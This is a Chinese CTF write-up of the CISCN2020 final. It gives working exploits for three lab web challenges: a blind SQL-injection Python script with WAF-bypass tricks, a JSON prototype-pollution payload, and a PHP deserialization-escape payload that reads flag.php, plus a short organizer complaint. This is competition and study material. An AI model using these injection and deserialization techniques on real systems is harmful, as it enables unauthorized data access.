CISCN2020-Final部分WriteUp

写在前面

  这次决赛本来是AWD+模式,但是由于比赛平台问题,导致第一天的比赛成绩基本没有计入,比赛信息各种不公开,ylb对于比赛选手也是态度非常不好,最后第二天居然现场改赛制(改成传统CTF),一上午短短几个小时决定胜负。本来是不想写的,前段时间准备毕设,但是想着马上去实习了,把这个比赛整理一下好了。

  垃圾ylb,以后只要是ylb的比赛全部不会再参加。

WEB

Web1_ezsql

  浏览器F12看到hint

image.png

  这里暴露了sql语句以及真实的列名表名。然后爆破被过滤的符号,发现id和limit字段过滤的地方不一样。

  id

image.png

  Limit

image.png

  直接使用/**/把limit 0,注释掉,再日常绕过waf即可。%0a绕过空格,regexp绕过=,十六进制绕过’和””,from for绕过逗号。最终exp为:

import requests
import re

#url = "http://172.1.1.10/index.php?id=12345/*&limit=xxxxx*/and%0dmid((select%0aflag%0afrom%0areal_flag)%0afrom%0a1%0afor%0a{a})%0aregexp%0a{b}"
url = "http://172.1.1.10/index.php?id=1/*&limit=1*/and%0dmid((select%0dflag%0dfrom%0dreal_flag)%0dfrom%0d1%0dfor%0d{a})%0dregexp%0d{b}"
flag = ""
hexf = "0x"
chars = "1234567890qwertyuiopasdfghjklzxcvbnm_{}"
for i in range(1,50):
    for j in chars:
        a = requests.get(url.format( a = i, b = hexf + str(hex(ord(j)))[2:])).text
        if "nothing" not in a:
            flag += j
            hexf += str(hex(ord(j)))[2:]
            print(flag)
            break

Web2_MonsterBattle

image.png

  漏洞点如上,非常简单的原型链污染,直接设置__proto__就可以修改player的属性。这里需要注意的是:

image.png

  Num,HP,aggressivity属性设置后是没有用的,会被覆盖,所以我只能设置buff属性。

image.png

  又由于warrior和shooter角色会修改buff,所以只能用high_priest角色。

image.png

  又由于BYZF和XELD会修改buff,所以选择ZLYG。

  因此payload为:

POST /start HTTP/1.1
Host: 172.1.1.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 66
Origin: http://172.1.1.11
Connection: close
Referer: http://172.1.1.11/start
Upgrade-Insecure-Requests: 1

{"career":"high_priest", "item":"ZLYG", "__proto__":{"buff":1000}}

Web3_icsdb

  一开始admin/admin进入后台,看到上传,卡了很久,最后放弃。然后扫描得到wwwroot.zip,直接开始源码审计,发现利用点根本就不是上传,思路错了。Dashboard.php的php源码如下

<?php
session_start();
include_once "lib.php";

if (isset($_POST["username"])
    && isset($_POST["password"])
    && isset($_POST["age"])
    && isset($_POST["email"])
    && is_string($_POST["username"])
    && is_string($_POST["password"])
    && is_string($_POST["age"])
    && is_string($_POST["email"])
)
{
    $user = new User($_POST["username"], $_POST["password"], $_POST["age"], $_POST["email"] );
    $user->register();
} else {
    $user = new User($_SESSION['username'], $_SESSION['password'], $_SESSION['age'], $_SESSION['email']);
    $user->register();
}


if (!isset($_SESSION['username']))
{
    $user->alertMes("please register and login first", "./index.php");
}
?>

<?php
if (isset($_POST["old_password"])
    && isset($_POST["update_password"])
    && isset($_POST["update_age"])
    && isset($_POST["update_email"])
    && is_string($_POST["old_password"])
    && is_string($_POST["update_password"])
    && is_string($_POST["update_age"])
    && is_string($_POST["update_email"])
)
{
    if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )
        $user->alertMes("invalid information", "./dashboard.php");
    $update_profile = array (
        "old_password" => $_POST["old_password"],
        "old_real_password" => $user->password,
        "password" => $_POST["update_password"],
        "age" => $_POST["update_age"],
        "email" => $_POST["update_email"]
    );
    $user->update(serialize($update_profile));
}
?>

<?php

if (isset($_FILES["file"])) {
    $allowed_extension = "png";
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if ( (($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)
        && $extension === $allowed_extension
    )
    {
        if ($_FILES["file"]["error"] > 0) {
            $user->alertMes("错误:: " . $_FILES["file"]["error"], "./dashboard.php");
        } else if (file_exists("upload/" . MD5($_FILES["file"]["name"]) . ".png")){
            $user->alertMes("file already exists, please change your filename", "./dashboard.php");
        }  else if (preg_match("/php|HALT\_COMPILER/i", file_get_contents($_FILES["file"]["tmp_name"]) )){
            $user->alertMes("dangerous file content", "./dashboard.php");
        }else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . MD5($_FILES["file"]["name"]) . ".png");
            $user->set_avatar("upload/" . MD5($_FILES["file"]["name"]) . ".png");
            echo "upload/" . MD5($_FILES["file"]["name"]) . ".png";
        }
    } else {
        $user->alertMes("dangerous", "./dashboard.php");
    }
}

$user_avatar = $user->get_avatar();
if ( is_string($user_avatar) && !empty($user_avatar)) {
    $content = file_get_contents(__DIR__ . "/" . $user_avatar);
    $png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
    if (strpos($content, $png_header) === false )
    {
        throw new Exception("png content got an unexpected Exception");
    }
}
?>

  在dashboard处最奇怪的地方在于:$user->update(serialize($update_profile));明明可以不需要序列化的地方强行序列化,一定有问题。其他的php文件中只有lib.php里面有比较重要的信息,其他的php都没啥用然后这里的lib.php里面只有一个类,就是User,由于在dashboard中调用了update函数,来看看update函数:

   public function update($profile)
    {
        $data = unserialize($this->waf($profile));
        if ($data["old_password"] !== $data["old_real_password"] )
            return $this->check_data($data);
        $this->password = $data["password"];
        $this->age = $data["age"];
        $this->email = $data["email"];
    }

  这里刚好一个反序列化,说明漏洞点基本就在这里了,然后这里调用了waf(),看看waf函数。

  private function waf($string)
    {
        $waf = '/phar|file|gopher|http|sftp|flag/i';
        return preg_replace($waf, 'index', $string);
    }

  看到这里思路就清晰了,老题目了,利用waf来进行反序列化的逃逸,这里我们可以采phar,file,http,sftp,flag来进行逃逸。然后这里还调用了$this->check_data($data);函数,来看这个函数:

private function check_data($data)
    {
        foreach( $data as $key => $value)
        {
            if ( is_array($value) )
                return $this->check_data($value);
            if ( is_object($value) && $value instanceof User)
            {
                $data_avatar = $value->get_avatar();
                if ( is_string($data_avatar) && !empty($data_avatar)) {
                    $content = file_get_contents(__DIR__ . "/" . $data_avatar);
                    $png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
                    if (strpos($content, $png_header) === false )
                    {
                        throw new Exception("png content got an unexpected Exception");
                    }
                }
            }
        }
        return true;
    }

  这里当$value为对象时,调用get_avatar()获取文件名,然后读取文件名,写入png文件中。而get_avatar()函数获取的 $this->avatar在反序列化中可以被控制。

public function get_avatar()
    {
        return $this->avatar;
    }

  但是这里必须读取的文件必须有PNG头,所以这无法让我们读取到flag,最后我们看到__destruct()函数,这个函数直接读取文件,并且不比对文件头直接返回文件内容,我们可以通过这个来读取flag.php的内容

 function __destruct()
    {
        if ( isset($this->username)
            && isset($this->password)
            && isset($this->age)
            && isset($this->email)
            && isset($this->avatar)
            && isset($this->content)
            && is_string($this->avatar)
            && !empty($this->avatar)
            && !preg_match('/\:\/\//', $this->avatar) )
        {
            $this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
            $res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
            $res = str_replace("content", base64_encode($this->content), $res);
            echo $res;
        }
    }

  所以思路就非常明显了,利用修改密码的功能,触发序列化与反序列化,然后利用waf()来逃逸一个User()类,并控制User类中的avatar属性为flag.php,这里有个小tricks,由于waf会替换到flag字符串,所以这里使用序列号中的S类型,利用16进制来绕过,对象被释放的时候自动调用魔法函数__destruct(),返回文件结果,exp如下:

<?php
class User
{
    public $username='atd';
    public $password='123';
    public $age='123';
    public $email='123@qq.cpm';
    public $avatar='flag.php';
    public $content;

}

$a = new User();
$b = serialize($a);
#echo $b.'
#';
#echo strlen($b);
$c = '";s:3:"abc";'.$b.'s:1:"a";s:25:"';
#echo strlen($c);
echo 'pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar'.$c;

#pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:3:"atd";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"123@qq.cpm";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"

//echo strlen(serialize(array('age'=>'123','email'=>'123@qq.com')));
//echo serialize(array('age'=>'123','email'=>'123@qq.com'));
/*$update_profile = array (
        "old_password" => '123',
        "old_real_password" => 'pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:3:"atd";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"123@qq.cpm";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"',
        "password" => '123',
        "age" => '123',
        "email" => '123@qq.com'
    );
$user = new User();
$user->update(serialize($update_profile));*/

最终payload:

pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:5:"b1ind";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"123@qq.cpm";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"

MISC

BadPic

  这道题非常的坑,常规图片块修复,然后还要套一层openssl加密,在决赛没有网的情况下,由于不知道命令,所以没法做,还浪费了大把时间,其他师傅tql。

签到

  base64后然后rot13

题目打包

  提供比赛源码/题目给大家学习,至于环境自己研究。

  点我下载